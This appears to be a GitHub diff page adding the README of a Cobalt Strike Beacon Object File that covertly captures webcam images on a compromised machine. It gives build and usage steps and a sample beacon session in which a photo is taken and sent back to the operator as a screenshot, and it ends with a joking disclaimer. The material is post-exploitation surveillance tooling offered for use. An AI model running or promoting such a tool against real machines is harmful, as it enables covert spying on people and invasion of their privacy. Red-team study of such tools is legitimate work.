You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Webcam capture capability for Cobalt Strike, implemented as a Beacon Object File (BOF)
4
+
5
+
## Self Compilation
6
+
1. git clone the repo
7
+
2. run `make`
8
+
9
+
## Save methods:
10
+
0. drop file to disk
11
+
1. download file over beacon (Cobalt Strike only)
12
+
2. download file over beacon as a screenshot (Cobalt Strike only)
13
+
14
+
## Usage
15
+
1. import the webcamBOF.cna script into Cobalt Strike
16
+
2. use the command webcam_bof {filename} {save method 0/1/2}
17
+
18
+
```
19
+
beacon> webcam_bof sad.jpeg 2
20
+
[*] Running Webcam BOF by (@codex_tf2)
21
+
[+] host called home, sent: 35817 bytes
22
+
[+] received output:
23
+
24
+
[*] Initializing webcam
25
+
[+] received output:
26
+
27
+
[*] Device 0: HP 320 FHD Webcam
28
+
[+] received output:
29
+
30
+
[*] Capturing image data
31
+
[+] received output:
32
+
[*] Downloading JPEG over beacon as a screenshot
33
+
[*] received screenshot of Webcam from Admin (328kb)
34
+
```
35
+
36
+
37
+
## Notes
38
+
I'm gonna be honest, the code quality of this is pretty low. There is some hacky shit going on to prevent generation of COMDAT sections during compilation (the mfapi.h headers produced over 170 of them) and I did some absolutely illegal stuff with the function pointers in one of the functions becuase for some reason the addresses would get truncated ONLY when run in Beacon. It would work perfectly fine in COFFLoader. No idea why.
39
+
40
+
But it works.
41
+
42
+
## Why did I make this?
43
+
Cobalt Strike did not originally have a built in webcam capability, nor did open source alternatives exist to my knowledge. And it was a fun (not) idea.
44
+
45
+
## Credits
46
+
- Webcam code from https://github.com/OV2/WebcamImage
47
+
- Save BMP to file from https://stackoverflow.com/a/60667564
48
+
- in memory download from https://github.com/anthemtotheego/CredBandit
49
+
- bitmap to jpeg from https://github.com/WKL-Sec/HiddenDesktop
50
+
51
+
## Disclaimer
52
+
usual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code.
"Use: webcam_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon as a file\n\t2: download over beacon\n\nTake a Webcam inline using a BOF. Image is saved as JPEG on disk or downloaded over beacon."
0 commit comments